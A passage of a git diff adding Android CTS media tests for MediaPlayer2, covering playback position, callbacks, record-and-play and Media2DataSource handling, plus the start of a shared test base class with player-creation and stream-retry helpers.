+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ // skip the first part of the file so we reach EOF sooner
+ mPlayer.seekTo(5000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mPlayer.play();
+ // sleep long enough that we restart playback at least once, but no more
+ Thread.sleep(10000);
+ assertTrue("MediaPlayer2 should still be playing", mPlayer.isPlaying());
+ mPlayer.reset();
+ assertEquals("wrong number of repetitions", 1, mOnCompletionCalled.getNumSignal());
+ return 1;
+ }
+
+ public void testPositionAtEnd() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ int testsRun =
+ testPositionAtEnd(R.raw.test1m1shighstereo) +
+ testPositionAtEnd(R.raw.loudsoftmp3) +
+ testPositionAtEnd(R.raw.loudsoftwav) +
+ testPositionAtEnd(R.raw.loudsoftogg) +
+ testPositionAtEnd(R.raw.loudsoftitunes) +
+ testPositionAtEnd(R.raw.loudsoftfaac) +
+ testPositionAtEnd(R.raw.loudsoftaac);
+ if (testsRun == 0) {
+ MediaUtils.skipTest(LOG_TAG, "no decoder found");
+ }
+ }
+
+ private int testPositionAtEnd(int res) throws Throwable {
+ if (!loadResource(res)) {
+ Log.i(LOG_TAG, "testPositionAtEnd: No decoder found for " +
+ mContext.getResources().getResourceEntryName(res) +
+ " --- skipping.");
+ return 0; // skip
+ }
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mPlayer.setAudioAttributes(attributes);
+
+ mOnCompletionCalled.reset();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ mOnCompletionCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ long duration = mPlayer.getDuration();
+ assertTrue("resource too short", duration > 6000);
+ mPlayer.seekTo(duration - 5000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ while (mPlayer.isPlaying()) {
+ Log.i("@@@@", "position: " + mPlayer.getCurrentPosition());
+ Thread.sleep(500);
+ }
+ Log.i("@@@@", "final position: " + mPlayer.getCurrentPosition());
+ assertTrue(mPlayer.getCurrentPosition() > duration - 1000);
+ mPlayer.reset();
+ return 1;
+ }
+
+ public void testCallback() throws Throwable {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int mp4Duration = 8484;
+
+ if (!checkLoadResource(R.raw.testvideo)) {
+ return; // skip;
+ }
+
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+
+ mOnCompletionCalled.reset();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd,
+ int width, int height) {
+ mOnVideoSizeChangedCalled.signal();
+ }
+
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ mOnErrorCalled.signal();
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ mOnInfoCalled.signal();
+
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ mOnCompletionCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ mOnSeekCompleteCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ assertFalse(mOnPrepareCalled.isSignalled());
+ assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+ mOnVideoSizeChangedCalled.waitForSignal();
+
+ mOnSeekCompleteCalled.reset();
+ mPlayer.seekTo(mp4Duration >> 1, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mOnSeekCompleteCalled.waitForSignal();
+
+ assertFalse(mOnCompletionCalled.isSignalled());
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ while(mPlayer.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ assertFalse(mPlayer.isPlaying());
+ mOnCompletionCalled.waitForSignal();
+ assertFalse(mOnErrorCalled.isSignalled());
+ mPlayer.reset();
+ }
+
+ public void testRecordAndPlay() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!hasMicrophone()) {
+ MediaUtils.skipTest(LOG_TAG, "no microphone");
+ return;
+ }
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
+ || !MediaUtils.checkEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+ return; // skip
+ }
+ File outputFile = new File(Environment.getExternalStorageDirectory(),
+ "record_and_play.3gp");
+ String outputFileLocation = outputFile.getAbsolutePath();
+ try {
+ recordMedia(outputFileLocation);
+
+ Uri uri = Uri.parse(outputFileLocation);
+ MediaPlayer2 mp = MediaPlayer2.create();
+ try {
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+ mp.prepare();
+ Thread.sleep(SLEEP_TIME);
+ playAndStop(mp);
+ } finally {
+ mp.close();
+ }
+
+ try {
+ mp = createMediaPlayer2(mContext, uri);
+ playAndStop(mp);
+ } finally {
+ if (mp != null) {
+ mp.close();
+ }
+ }
+
+ try {
+ mp = createMediaPlayer2(mContext, uri, getActivity().getSurfaceHolder());
+ playAndStop(mp);
+ } finally {
+ if (mp != null) {
+ mp.close();
+ }
+ }
+ } finally {
+ outputFile.delete();
+ }
+ }
+
+ private void playAndStop(MediaPlayer2 mp) throws Exception {
+ mp.play();
+ Thread.sleep(SLEEP_TIME);
+ mp.reset();
+ }
+
+ private void recordMedia(String outputFile) throws Exception {
+ MediaRecorder mr = new MediaRecorder();
+ try {
+ mr.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+ mr.setOutputFile(outputFile);
+
+ mr.prepare();
+ mr.start();
+ Thread.sleep(SLEEP_TIME);
+ mr.stop();
+ } finally {
+ mr.release();
+ }
+ }
+
+ private boolean hasMicrophone() {
+ return getActivity().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_MICROPHONE);
+ }
+
+ // Smoke test playback from a Media2DataSource.
+ public void testPlaybackFromAMedia2DataSource() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+ final int duration = 10000;
+
+ if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+ return;
+ }
+
+ TestMedia2DataSource dataSource =
+ TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ // Test returning -1 from getSize() to indicate unknown size.
+ dataSource.returnFromGetSize(-1);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(dataSource)
+ .build());
+ playLoadedVideo(null, null, -1);
+ assertTrue(mPlayer.isPlaying());
+
+ // Test pause and restart.
+ mPlayer.pause();
+ Thread.sleep(SLEEP_TIME);
+ assertFalse(mPlayer.isPlaying());
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mPlayer.isPlaying());
+
+ // Test reset.
+ mPlayer.reset();
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(dataSource)
+ .build());
+
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ mOnPlayCalled.reset();
+ mPlayer.play();
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mPlayer.isPlaying());
+
+ // Test seek. Note: the seek position is cached and returned as the
+ // current position so there's no point in comparing them.
+ mPlayer.seekTo(duration - SLEEP_TIME, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ while (mPlayer.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ }
+
+ public void testNullMedia2DataSourceIsRejected() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+ mCallStatus = status;
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+ mPlayer.setDataSource((DataSourceDesc)null);
+ mOnPlayCalled.waitForSignal();
+ assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+ }
+
+ public void testMedia2DataSourceIsClosedOnReset() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+ mCallStatus = status;
+ mOnPlayCalled.signal();
+ }
+ }
+ };
+ mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ TestMedia2DataSource dataSource = new TestMedia2DataSource(new byte[0]);
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(dataSource)
+ .build());
+ mOnPlayCalled.waitForSignal();
+ mPlayer.reset();
+ assertTrue(dataSource.isClosed());
+ }
+
+ public void testPlaybackFailsIfMedia2DataSourceThrows() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+ if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+ return;
+ }
+
+ setOnErrorListener();
+ TestMedia2DataSource dataSource =
+ TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(dataSource)
+ .build());
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ dataSource.throwFromReadAt();
+ mPlayer.play();
+ assertTrue(mOnErrorCalled.waitForSignal());
+ }
+
+ public void testPlaybackFailsIfMedia2DataSourceReturnsAnError() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+ if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+ return;
+ }
+
+ TestMedia2DataSource dataSource =
+ TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(dataSource)
+ .build());
+
+ setOnErrorListener();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
+ dataSource.returnFromReadAt(-2);
+ mPlayer.play();
+ assertTrue(mOnErrorCalled.waitForSignal());
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
new file mode 100644
index 0000000..2975d47
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
@@ -0,0 +1,596 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.DataSourceDesc;
+import android.media.MediaPlayer2;
+import android.media.MediaTimestamp;
+import android.media.TimedMetaData;
+import android.media.TimedText;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.test.ActivityInstrumentationTestCase2;
+import android.view.SurfaceHolder;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.IOException;
+import java.net.HttpCookie;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.logging.Logger;
+
+/**
+ * Base class for tests which use MediaPlayer2 to play audio or video.
+ */
+public class MediaPlayer2TestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+ private static final Logger LOG = Logger.getLogger(MediaPlayer2TestBase.class.getName());
+
+ protected static final int SLEEP_TIME = 1000;
+ protected static final int LONG_SLEEP_TIME = 6000;
+ protected static final int STREAM_RETRIES = 20;
+ protected static boolean sUseScaleToFitMode = false;
+
+ protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+ protected Monitor mOnVideoRenderingStartCalled = new Monitor();
+ protected Monitor mOnBufferingUpdateCalled = new Monitor();
+ protected Monitor mOnPrepareCalled = new Monitor();
+ protected Monitor mOnPlayCalled = new Monitor();
+ protected Monitor mOnDeselectTrackCalled = new Monitor();
+ protected Monitor mOnSeekCompleteCalled = new Monitor();
+ protected Monitor mOnCompletionCalled = new Monitor();
+ protected Monitor mOnInfoCalled = new Monitor();
+ protected Monitor mOnErrorCalled = new Monitor();
+ protected int mCallStatus;
+
+ protected Context mContext;
+ protected Resources mResources;
+
+ protected ExecutorService mExecutor;
+
+ protected MediaPlayer2 mPlayer = null;
+ protected MediaPlayer2 mPlayer2 = null;
+ protected MediaStubActivity mActivity;
+
+ protected final Object mEventCbLock = new Object();
+ protected List<MediaPlayer2.MediaPlayer2EventCallback> mEventCallbacks =
+ new ArrayList<MediaPlayer2.MediaPlayer2EventCallback>();
+ protected final Object mEventCbLock2 = new Object();
+ protected List<MediaPlayer2.MediaPlayer2EventCallback> mEventCallbacks2 =
+ new ArrayList<MediaPlayer2.MediaPlayer2EventCallback>();
+
+ // convenience functions to create MediaPlayer2
+ protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri) {
+ return createMediaPlayer2(context, uri, null);
+ }
+
+ protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri,
+ SurfaceHolder holder) {
+ AudioManager am = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+ int s = am.generateAudioSessionId();
+ return createMediaPlayer2(context, uri, holder, null, s > 0 ? s : 0);
+ }
+
+ protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri, SurfaceHolder holder,
+ AudioAttributes audioAttributes, int audioSessionId) {
+ try {
+ MediaPlayer2 mp = MediaPlayer2.create();
+ final AudioAttributes aa = audioAttributes != null ? audioAttributes :
+ new AudioAttributes.Builder().build();
+ mp.setAudioAttributes(aa);
+ mp.setAudioSessionId(audioSessionId);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(context, uri)
+ .build());
+ if (holder != null) {
+ mp.setDisplay(holder);
+ }
+ Monitor onPrepareCalled = new Monitor();
+ ExecutorService executor = Executors.newFixedThreadPool(1);
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(executor, ecb);
+ mp.prepare();
+ onPrepareCalled.waitForSignal();
+ mp.clearMediaPlayer2EventCallback();
+ executor.shutdown();
+ return mp;
+ } catch (IllegalArgumentException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ } catch (SecurityException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ } catch (InterruptedException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ }
+ return null;
+ }
+
+ protected static MediaPlayer2 createMediaPlayer2(Context context, int resid) {
+ AudioManager am = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+ int s = am.generateAudioSessionId();
+ return createMediaPlayer2(context, resid, null, s > 0 ? s : 0);
+ }
+
+ protected static MediaPlayer2 createMediaPlayer2(Context context, int resid,
+ AudioAttributes audioAttributes, int audioSessionId) {
+ try {
+ AssetFileDescriptor afd = context.getResources().openRawResourceFd(resid);
+ if (afd == null) {
+ return null;
+ }
+
+ MediaPlayer2 mp = MediaPlayer2.create();
+
+ final AudioAttributes aa = audioAttributes != null ? audioAttributes :
+ new AudioAttributes.Builder().build();
+ mp.setAudioAttributes(aa);
+ mp.setAudioSessionId(audioSessionId);
+
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .build());
+
+ Monitor onPrepareCalled = new Monitor();
+ ExecutorService executor = Executors.newFixedThreadPool(1);
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(executor, ecb);
+ mp.prepare();
+ onPrepareCalled.waitForSignal();
+ mp.clearMediaPlayer2EventCallback();
+ afd.close();
+ executor.shutdown();
+ return mp;
+ } catch (IOException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ } catch (IllegalArgumentException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ } catch (SecurityException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ } catch (InterruptedException ex) {
+ LOG.warning("create failed:" + ex);
+ // fall through
+ }
+ return null;
+ }
+
+ public MediaPlayer2TestBase() {
+ super(MediaStubActivity.class);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mActivity = getActivity();
+ getInstrumentation().waitForIdleSync();
+ try {
+ runTestOnUiThread(new Runnable() {
+ public void run() {
+ mPlayer = MediaPlayer2.create();
+ mPlayer2 = MediaPlayer2.create();
+ }
+ });
+ } catch (Throwable e) {
+ e.printStackTrace();
+ fail();
+ }
+ mContext = getInstrumentation().getTargetContext();
+ mResources = mContext.getResources();
+ mExecutor = Executors.newFixedThreadPool(1);
+
+ setUpMP2ECb(mPlayer, mEventCbLock, mEventCallbacks);
+ setUpMP2ECb(mPlayer2, mEventCbLock2, mEventCallbacks2);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mPlayer != null) {
+ mPlayer.close();
+ mPlayer = null;
+ }
+ if (mPlayer2 != null) {
+ mPlayer2.close();
+ mPlayer2 = null;
+ }
+ mExecutor.shutdown();
+ mActivity = null;
+ super.tearDown();
+ }
+
+ protected void setUpMP2ECb(MediaPlayer2 mp, Object cbLock,
+ List<MediaPlayer2.MediaPlayer2EventCallback> ecbs) {
+ mp.setMediaPlayer2EventCallback(mExecutor, new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onVideoSizeChanged(mp, dsd, w, h);
+ }
+ }
+ }
+
+ @Override
+ public void onTimedText(MediaPlayer2 mp, DataSourceDesc dsd, TimedText text) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onTimedText(mp, dsd, text);
+ }
+ }
+ }
+
+ @Override
+ public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
+ TimedMetaData data) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onTimedMetaDataAvailable(mp, dsd, data);
+ }
+ }
+ }
+
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onError(mp, dsd, what, extra);
+ }
+ }
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onInfo(mp, dsd, what, extra);
+ }
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onCallCompleted(mp, dsd, what, status);
+ }
+ }
+ }
+
+ @Override
+ public void onMediaTimeChanged(MediaPlayer2 mp, DataSourceDesc dsd,
+ MediaTimestamp timestamp) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onMediaTimeChanged(mp, dsd, timestamp);
+ }
+ }
+ }
+
+ @Override
+ public void onCommandLabelReached(MediaPlayer2 mp, Object label) {
+ synchronized (cbLock) {
+ for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+ ecb.onCommandLabelReached(mp, label);
+ }
+ }
+ }
+ });
+ }
+
+ // returns true on success
+ protected boolean loadResource(int resid) throws Exception {
+ if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+ return false;
+ }
+
+ AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+ try {
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .build());
+
+ // Although it is only meant for video playback, it should not
+ // cause issues for audio-only playback.
+ int videoScalingMode = sUseScaleToFitMode?
+ MediaPlayer2.VIDEO_SCALING_MODE_SCALE_TO_FIT
+ : MediaPlayer2.VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING;
+
+ mPlayer.setVideoScalingMode(videoScalingMode);
+ } finally {
+ // TODO: close afd only after setDataSource is confirmed.
+ // afd.close();
+ }
+ sUseScaleToFitMode = !sUseScaleToFitMode; // Alternate the scaling mode
+ return true;
+ }
+
+ protected DataSourceDesc createDataSourceDesc(int resid) throws Exception {
+ if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+ return null;
+ }
+
+ AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+ return new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .build();
+ }
+
+ protected boolean checkLoadResource(int resid) throws Exception {
+ return MediaUtils.check(loadResource(resid), "no decoder found");
+ }
+
+ protected void loadSubtitleSource(int resid) throws Exception {
+ AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+ try {
+ mPlayer.addTimedTextSource(afd.getFileDescriptor(), afd.getStartOffset(),
+ afd.getLength(), MediaPlayer2.MEDIA_MIMETYPE_TEXT_SUBRIP);
+ } finally {
+ afd.close();
+ }
+ }
+
+ protected void playLiveVideoTest(String path, int playTime) throws Exception {
+ playVideoWithRetries(path, null, null, playTime);
+ }
+
+ protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+ playVideoWithRetries(path, -1, -1, playTime);
+ }
+
+ protected void playVideoTest(String path, int width, int height) throws Exception {
+ playVideoWithRetries(path, width, height, 0);
+ }
+
+ protected void playVideoWithRetries(String path, Integer width, Integer height, int playTime)
+ throws Exception {
+ boolean playedSuccessfully = false;
+ final Uri uri = Uri.parse(path);
+ for (int i = 0; i < STREAM_RETRIES; i++) {
+ try {
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+ playLoadedVideo(width, height, playTime);
+ playedSuccessfully = true;
+ break;
+ } catch (PrepareFailedException e) {
+ // prepare() can fail because of network issues, so try again
+ LOG.warning("prepare() failed on try " + i + ", trying playback again");
+ }
+ }
+ assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+ }
+
+ protected void playVideoTest(int resid, int width, int height) throws Exception {
+ if (!checkLoadResource(resid)) {
+ return; // skip
+ }
+
+ playLoadedVideo(width, height, 0);
+ }
+
+ protected void playLiveVideoTest(
+ Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+ int playTime) throws Exception {
+ playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
+ }
+
+ protected void playVideoWithRetries(
+ Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+ Integer width, Integer height, int playTime) throws Exception {
+ boolean playedSuccessfully = false;
+ for (int i = 0; i < STREAM_RETRIES; i++) {
+ try {
+ mPlayer.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(getInstrumentation().getTargetContext(),
+ uri, headers, cookies)
+ .build());
+ playLoadedVideo(width, height, playTime);
+ playedSuccessfully = true;
+ break;
+ } catch (PrepareFailedException e) {
+ // prepare() can fail because of network issues, so try again
+ // playLoadedVideo already has reset the player so we can try again safely.
+ LOG.warning("prepare() failed on try " + i + ", trying playback again");
+ }
+ }
+ assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+ }
+
+ /**
+ * Play a video which has already been loaded with setDataSource().
+ *
+ * @param width width of the video to verify, or null to skip verification
+ * @param height height of the video to verify, or null to skip verification
+ * @param playTime length of time to play video, or 0 to play entire video.
+ * with a non-negative value, this method stops the playback after the length of
+ * time or the duration the video is elapsed. With a value of -1,
+ * this method simply starts the video and returns immediately without
+ * stoping the video playback.
+ */
+ protected void playLoadedVideo(final Integer width, final Integer height, int playTime)
+ throws Exception {
+ final float volume = 0.5f;
+
+ boolean audioOnly = (width != null && width.intValue() == -1) ||
+ (height != null && height.intValue() == -1);
+
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+ mPlayer.setScreenOnWhilePlaying(true);
+
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+ if (w == 0 && h == 0) {
+ // A size of 0x0 can be sent initially one time when using NuPlayer.
+ assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+ return;
+ }
+ mOnVideoSizeChangedCalled.signal();
+ if (width != null) {
+ assertEquals(width.intValue(), w);
+ }
+ if (height != null) {
+ assertEquals(height.intValue(), h);
+ }
+ }
+
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ fail("Media player had error " + what + " playing video");
+ }
+
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
